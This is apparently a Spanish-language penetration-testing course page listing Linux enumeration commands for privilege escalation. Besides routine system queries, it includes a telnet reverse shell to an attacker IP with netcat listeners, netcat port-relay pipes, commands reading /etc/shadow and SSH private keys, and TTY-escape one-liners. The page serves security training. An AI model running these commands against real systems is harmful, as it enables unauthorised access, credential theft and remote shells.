> For the complete documentation index, see [llms.txt](https://books.spartan-cybersec.com/cppj/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://books.spartan-cybersec.com/cppj/shell/enumeracion-de-linux.md).

# Enumeracion de Linux

La enumeración es clave. La escalación de privilegios en Linux se trata de:

* <mark style="color:green;">**Recopilar:**</mark> Enumeración, más enumeración y aún más enumeración.
* <mark style="color:green;">**Procesar:**</mark> Ordenar los datos, analizar y priorizar.
* <mark style="color:green;">**Buscar:**</mark> Saber qué buscar y dónde encontrar el código de exploit.
* <mark style="color:green;">**Adaptar:**</mark> Personalizar el exploit para que encaje. No todos los exploits funcionan para cada sistema "tal cual".
* <mark style="color:green;">**Intentar:**</mark> Prepárate para (muchos) ensayos y errores.

### <mark style="color:green;">Sistema Operativo ¿Cuál es el tipo de distribución? ¿Qué versión es?</mark>

* `cat /etc/issue`
* `cat /etc/*-release`
* `cat /etc/lsb-release`
* `cat /etc/redhat-release`

### <mark style="color:green;">¿Cuál es la versión del Kernel? ¿Es de 64 bits?</mark>

* `cat /proc/version`
* `uname -a`
* `uname -mrs`
* `rpm -q kernel`
* `dmesg | grep Linux`
* `ls /boot | grep vmlinuz-`

### <mark style="color:green;">¿Qué se puede aprender de las variables de entorno?</mark>

* `cat /etc/profile`
* `cat /etc/bashrc`
* `cat ~/.bash_profile`
* `cat ~/.bashrc`
* `cat ~/.bash_logout`
* `env`
* `set`

### <mark style="color:green;">¿Hay una impresora?</mark>

* `lpstat -a`

### <mark style="color:green;">Aplicaciones y Servicios ¿Qué servicios están corriendo? ¿Qué servicio tiene qué privilegios de usuario?</mark>

* `ps aux`
* `ps -ef`
* `top`
* `cat /etc/service`

### <mark style="color:green;">¿Qué servicios están siendo ejecutados por root? De estos servicios, ¿cuáles son vulnerables? ¡Vale la pena verificarlo dos veces!</mark>

* `ps aux | grep root`
* `ps -ef | grep root`

### <mark style="color:green;">¿Qué aplicaciones están instaladas? ¿Qué versión tienen? ¿Están corriendo actualmente?</mark>

* `ls -alh /usr/bin/`
* `ls -alh /sbin/`
* `dpkg -l`
* `rpm -qa`
* `ls -alh /var/cache/apt/archives`
* `ls -alh /var/cache/yum/`

### <mark style="color:green;">¿Alguna configuración de servicio está mal configurada? ¿Algún plugin (vulnerable) está adjunto?</mark>

* `cat /etc/syslog.conf`
* `cat /etc/chttp.conf`
* `cat /etc/lighttpd.conf`
* `cat /etc/cups/cupsd.conf`
* `cat /etc/inetd.conf`
* `cat /etc/apache2/apache2.conf`
* `cat /etc/my.conf`
* `cat /etc/httpd/conf/httpd.conf`
* `cat /opt/lampp/etc/httpd.conf`
* `ls -aRl /etc/ | awk '$1 ~ /^.*r.*/`

### <mark style="color:green;">¿Qué trabajos están programados?</mark>

* `crontab -l`
* `ls -alh /var/spool/cron`
* `ls -al /etc/ | grep cron`
* `ls -al /etc/cron*`
* `cat /etc/cron*`
* `cat /etc/at.allow`
* `cat /etc/at.deny`
* `cat /etc/cron.allow`
* `cat /etc/cron.deny`
* `cat /etc/crontab`
* `cat /etc/anacrontab`
* `cat /var/spool/cron/crontabs/root`

### <mark style="color:green;">¿Hay nombres de usuario y/o contraseñas en texto plano?</mark>

* `grep -i user [filename]`
* `grep -i pass [filename]`
* `grep -C 5 "password" [filename]`
* `find . -name "*.php" -print0 | xargs -0 grep -i -n "var $password"` # Joomla

### <mark style="color:green;">Comunicaciones y Redes ¿Qué NIC(s) tiene el sistema? ¿Está conectado a otra red?</mark>

* `/sbin/ifconfig -a`
* `cat /etc/network/interfaces`
* `cat /etc/sysconfig/network`

### <mark style="color:green;">¿Cuáles son las configuraciones de red? ¿Qué se puede encontrar sobre esta red? ¿Servidor DHCP? ¿Servidor DNS? ¿Puerta de enlace?</mark>

* `cat /etc/resolv.conf`
* `cat /etc/sysconfig/network`
* `cat /etc/networks`
* `iptables -L`
* `hostname`
* `dnsdomainname`

### <mark style="color:green;">¿Qué otros usuarios y hosts están comunicándose con el sistema?</mark>

* `lsof -i`
* `lsof -i :80`
* `grep 80 /etc/services`
* `netstat -antup`
* `netstat -antpx`
* `netstat -tulpn`
* `chkconfig --list`
* `chkconfig --list | grep 3:on`
* `last`
* `w`

### <mark style="color:green;">¿Qué está en caché? ¿Direcciones IP y/o MAC?</mark>

* `arp -e`
* `route`
* `/sbin/route -nee`

### <mark style="color:green;">¿Es posible hacer sniffing de paquetes? ¿Qué se puede ver? Escuchar tráfico en vivo</mark>

* `tcpdump tcp dst [ip] [port] and tcp dst [ip] [port]`
* `tcpdump tcp dst 192.168.1.7 80 and tcp dst 10.2.2.222 21`

### <mark style="color:green;">¿Tienes una shell? ¿Puedes interactuar con el sistema?</mark>

* `nc -lvp 4444` # Atacante. Entrada (Comandos)
* `nc -lvp 4445` # Atacante. Salida (Resultados)
* `telnet [ip del atacante] 44444 | /bin/sh | [ip local] 44445` # En el sistema de la víctima. Usa la IP del atacante!

### <mark style="color:green;">¿Es posible hacer port forwarding? Redirigir e interactuar con el tráfico desde otra vista</mark>

* `FPipe.exe -l [puerto local] -r [puerto remoto] -s [puerto local] [IP local]`
* `FPipe.exe -l 80 -r 80 -s 80 192.168.1.7`
* `ssh -L 8080:127.0.0.1:80 root@192.168.1.7` # Puerto Local
* `ssh -R 8080:127.0.0.1:80 root@192.168.1.7` # Puerto Remoto
* `mknod backpipe p ; nc -l -p 8080 < backpipe | nc 10.1.1.251 80 >backpipe` # Relé de Puertos
* `mknod backpipe p ; nc -l -p 8080 0 & < backpipe | tee -a inflow | nc localhost 80 | tee -a outflow 1>backpipe` # Proxy (Puerto 80 a 8080)
* `mknod backpipe p ; nc -l -p 8080 0 & < backpipe | tee -a inflow | nc localhost 80 | tee -a outflow & 1>backpipe` # Monitor de Proxy (Puerto 80 a 8080)

### <mark style="color:green;">¿Es posible hacer túneles? Enviar comandos localmente, remotamente</mark>

* `ssh -D 127.0.0.1:9050 -N [usuario]@[ip]`
* `proxychains ifconfig`

### <mark style="color:green;">Información Confidencial y Usuarios ¿Quién eres? ¿Quién está conectado? ¿Quién ha estado conectado? ¿Quién más está allí? ¿Quién puede hacer qué?</mark>

* `id`
* `who`
* `w`
* `last`
* `cat /etc/passwd | cut -d:` # Lista de usuarios
* `grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}'` # Lista de superusuarios
* `awk -F: '($3 == "0") {print}' /etc/passwd` # Lista de superusuarios
* `cat /etc/sudoers`
* `sudo -l`

### <mark style="color:green;">¿Qué archivos sensibles se pueden encontrar?</mark>

* `cat /etc/passwd`
* `cat /etc/group`
* `cat /etc/shadow`
* `ls -alh /var/mail/`

### <mark style="color:green;">¿Hay algo "interesante" en los directorios de inicio? Si es posible acceder</mark>

* `ls -ahlR /root/`
* `ls -ahlR /home/`

### <mark style="color:green;">¿Hay contraseñas en scripts, bases de datos, archivos de configuración o archivos de log? Rutas y ubicaciones predeterminadas para contraseñas</mark>

* `cat /var/apache2/config.inc`
* `cat /var/lib/mysql/mysql/user.MYD`
* `cat /root/anaconda-ks.cfg`

### <mark style="color:green;">¿Qué ha estado haciendo el usuario? ¿Hay alguna contraseña en texto plano? ¿Qué han estado editando?</mark>

* `cat ~/.bash_history`
* `cat ~/.nano_history`
* `cat ~/.atftp_history`
* `cat ~/.mysql_history`
* `cat ~/.php_history`

### <mark style="color:green;">¿Qué información de usuario se puede encontrar?</mark>

* `cat ~/.bashrc`
* `cat ~/.profile`
* `cat /var/mail/root`
* `cat /var/spool/mail/root`

### <mark style="color:green;">¿Se puede encontrar información de clave privada?</mark>

* `cat ~/.ssh/authorized_keys`
* `cat ~/.ssh/identity.pub`
* `cat ~/.ssh/identity`
* `cat ~/.ssh/id_rsa.pub`
* `cat ~/.ssh/id_rsa`
* `cat ~/.ssh/id_dsa.pub`
* `cat ~/.ssh/id_dsa`
* `cat /etc/ssh/ssh_config`
* `cat /etc/ssh/sshd_config`
* `cat /etc/ssh/ssh_host_dsa_key.pub`
* `cat /etc/ssh/ssh_host_dsa_key`
* `cat /etc/ssh/ssh_host_rsa_key.pub`
* `cat /etc/ssh/ssh_host_rsa_key`
* `cat /etc/ssh/ssh_host_key.pub`
* `cat /etc/ssh/ssh_host_key`

### <mark style="color:green;">Sistemas de Archivos ¿Qué archivos de configuración se pueden escribir en /etc/? ¿Es posible reconfigurar un servicio?</mark>

* `ls -aRl /etc/ | awk '$1 ~ /^.*w.*/' 2>/dev/null` # Cualquiera
* `ls -aRl /etc/ | awk '$1 ~ /^..w/' 2>/dev/null` # Propietario
* `ls -aRl /etc/ | awk '$1 ~ /^.....w/' 2>/dev/null` # Grupo
* `ls -aRl /etc/ | awk '$1 ~ /w.$/' 2>/dev/null` # Otros
* `find /etc/ -readable -type f 2>/dev/null` # Cualquiera
* `find /etc/ -readable -type f -maxdepth 1 2>/dev/null` # Cualquiera

### <mark style="color:green;">¿Qué se puede encontrar en /var/?</mark>

* `ls -alh /var/log`
* `ls -alh /var/mail`
* `ls -alh /var/spool`
* `ls -alh /var/spool/lpd`
* `ls -alh /var/lib/pgsql`
* `ls -alh /var/lib/mysql`
* `cat /var/lib/dhcp3/dhclient.leases`

### <mark style="color:green;">¿Hay algún ajuste/archivo (oculto) en el sitio web? ¿Algún archivo de configuración con información de base de datos?</mark>

* `ls -alhR /var/www/`
* `ls -alhR /srv/www/htdocs/`
* `ls -alhR /usr/local/www/apache22/data/`
* `ls -alhR /opt/lampp/htdocs/`
* `ls -alhR /var/www/html/`

### <mark style="color:green;">¿Hay algo en el(los) archivo(s) de log? (¡Podría ayudar con "Inclusión de Archivos Locales"!)</mark>

* `cat /etc/httpd/logs/access_log`
* `cat /etc/httpd/logs/access.log`
* `cat /etc/httpd/logs/error_log`
* `cat /etc/httpd/logs/error.log`
* `cat /var/log/apache2/access_log`
* `cat /var/log/apache2/access.log`
* `cat /var/log/apache2/error_log`
* `cat /var/log/apache2/error.log`
* `cat /var/log/apache/access_log`
* `cat /var/log/apache/access.log`
* `cat /var/log/auth.log`
* `cat /var/log/chttp.log`
* `cat /var/log/cups/error_log`
* `cat /var/log/dpkg.log`
* `cat /var/log/faillog`
* `cat /var/log/httpd/access_log`
* `cat /var/log/httpd/access.log`
* `cat /var/log/httpd/error_log`
* `cat /var/log/httpd/error.log`
* `cat /var/log/lastlog`
* `cat /var/log/lighttpd/access.log`
* `cat /var/log/lighttpd/error.log`
* `cat /var/log/lighttpd/lighttpd.access.log`
* `cat /var/log/lighttpd/lighttpd.error.log`
* `cat /var/log/messages`
* `cat /var/log/secure`
* `cat /var/log/syslog`
* `cat /var/log/wtmp`
* `cat /var/log/xferlog`
* `cat /var/log/yum.log`
* `cat /var/run/utmp`
* `cat /var/webmin/miniserv.log`
* `cat /var/www/logs/access_log`
* `cat /var/www/logs/access.log`
* `ls -alh /var/lib/dhcp3/`
* `ls -alh /var/log/postgresql/`
* `ls -alh /var/log/proftpd/`
* `ls -alh /var/log/samba/`
* `cat /var/log/auth.log`
* `cat /var/log/boot`
* `cat /var/log/btmp`
* `cat /var/log/daemon.log`
* `cat /var/log/debug`
* `cat /var/log/dmesg`
* `cat /var/log/kern.log`
* `cat /var/log/mail.info`
* `cat /var/log/mail.log`
* `cat /var/log/mail.warn`
* `cat /var/log/messages`
* `cat /var/log/syslog`
* `cat /var/log/udev`
* `cat /var/log/wtmp`

### <mark style="color:green;">Si los comandos están limitados, ¿puedes salir de la "Shell TTY"?</mark>

* `python -c 'import pty;pty.spawn("/bin/bash")'`
* `echo os.system('/bin/bash')`
* `/bin/sh -i`

### <mark style="color:green;">¿Cómo están montados los sistemas de archivos?</mark>

* `mount`
* `df -h`

### <mark style="color:green;">¿Hay sistemas de archivos no montados?</mark>

* `cat /etc/fstab`

### <mark style="color:green;">¿Qué "Permisos Avanzados de Archivos en Linux" se están usando? Sticky bits, SUID y GUID</mark>

* `find / -perm -1000 -type d 2>/dev/null` # Sticky bit - Solo el propietario del directorio o el propietario de un archivo puede eliminar o renombrar aquí.
* `find / -perm -g=s -type f 2>/dev/null` # SGID (chmod 2000) - Ejecutar como el grupo, no como el usuario que lo inició.
* `find / -perm -u=s -type f 2>/dev/null` # SUID (chmod 4000) - Ejecutar como el propietario, no como el usuario que lo inició.
* `find / -perm -g=s -o -perm -u=s -type f 2>/dev/null` # SGID o SUID
* `find / -perm -g=s -o -perm -4000 ! -type l -maxdepth 3 -exec ls -ld {} \; 2>/dev/null` # Encontrar empezando desde root (/), SGID o SUID, no enlaces simbólicos, solo 3 carpetas de profundidad, listar con más detalles y ocultar cualquier error (por ejemplo, permiso denegado).

### <mark style="color:green;">¿Dónde se puede escribir y ejecutar? Algunos lugares 'comunes': /tmp, /var/tmp, /dev/shm</mark>

* `find / -writable -type d 2>/dev/null` # Directorios con permisos de escritura para todos
* `find / -perm -222 -type d 2>/dev/null` # Directorios con permisos de escritura para todos
* `find / -perm -o+w -type d 2>/dev/null` # Directorios con permisos de escritura para todos
* `find / -perm -o+x -type d 2>/dev/null` # Directorios con permisos de ejecución para todos
* `find / \( -perm -o+w -perm -o+x \) -type d 2>/dev/null` # Directorios con permisos de escritura y ejecución para todos

### <mark style="color:green;">¿Algún archivo "problemático"? Archivos con permisos de escritura para todos, archivos "nobody"</mark>

* `find / -xdev -type d \( -perm -0002 -a ! -perm -1000 \) -print` # Archivos con permisos de escritura para todos
* `find /dir -xdev \( -nouser -o -nogroup \) -print` # Archivos sin propietario

### <mark style="color:green;">Preparación y Búsqueda de Código de Explotación ¿Qué herramientas/lenguajes de desarrollo están instalados/soportados?</mark>

* `find / -name perl*`
* `find / -name python*`
* `find / -name gcc*`
* `find / -name cc`

### <mark style="color:green;">¿Cómo se pueden subir archivos?</mark>

* `find / -name wget`
* `find / -name nc*`
* `find / -name netcat*`
* `find / -name tftp*`
* `find / -name ftp`

### <mark style="color:green;">Encontrar código de exploit</mark>

* `http://www.exploit-db.com`
* `http://1337day.com`
* `http://www.securiteam.com`
* `http://www.securityfocus.com`
* `http://www.exploitsearch.net`
* `http://metasploit.com/modules/`
* `http://securityreason.com`
* `http://seclists.org/fulldisclosure/`
* `http://www.google.com`

### <mark style="color:green;">Encontrar más información sobre el exploit</mark>

* `http://www.cvedetails.com`
* `http://packetstormsecurity.org/files/cve/[CVE]`
* `http://cve.mitre.org/cgi-bin/cvename.cgi?name=[CVE]`
* `http://www.vulnview.com/cve-details.php?cvename=[CVE]`
